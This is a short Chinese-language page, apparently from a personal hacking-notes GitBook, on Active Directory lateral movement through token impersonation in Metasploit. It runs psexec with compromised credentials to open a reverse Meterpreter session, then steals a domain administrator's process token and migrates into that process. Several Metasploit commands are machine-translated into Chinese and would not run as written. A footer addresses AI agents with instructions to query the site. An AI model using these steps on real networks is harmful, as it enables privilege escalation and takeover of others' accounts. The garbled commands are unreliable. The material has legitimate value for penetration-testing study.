> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/token-impersonation.md).
# 令牌模拟
在这一部分，我们使用 `Metasploit`.
{% code overflow="wrap" %}
```bash
msfconsole
```
{% endcode %}
我们假设我们已经攻陷了 `user1` 账户。
{% code overflow="wrap" %}
```bash
使用 exploit/windows/smb/psexec
显示选项
```
{% endcode %}
然后，我们使用正确的参数配置该模块。
{% code overflow="wrap" %}
```bash
设置 rhosts 172.16.0.10
设置 rport 445
设置 smbdomain WHOAMI
设置 smbuser user1
设置 smbpass Password1234
设置 lhost 172.16.0.2
设置 lport 4444
run
shell
```
{% endcode %}
从 `Meterpreter`，我们列出该机器上的活动进程。
{% code overflow="wrap" %}
```bash
ps
```
{% endcode %}
某些进程可能属于域管理员。
然后，我们可以根据其 PID 窃取目标进程的令牌。
{% code overflow="wrap" %}
```bash
steal_token 6984
```
{% endcode %}
该令牌对应于管理员账户的会话。
如果我们现在打开一个 shell，它将在该用户的上下文中运行。
{% code overflow="wrap" %}
```bash
shell
```
{% endcode %}
另一种可能：将我们的载荷迁移到这个进程中，以继承其上下文。
如有必要，我们可以先返回到初始上下文。
{% code overflow="wrap" %}
```bash
rev2self
```
{% endcode %}
然后，我们启动向目标 PID 的迁移。
{% code overflow="wrap" %}
```bash
migrate 6984
```
{% endcode %}
限制依然很简单：如果进程结束，迁移的会话也会随之终止。
> 172.16.0.10 - Meterpreter 会话 1 已关闭。原因：已终止
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/token-impersonation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.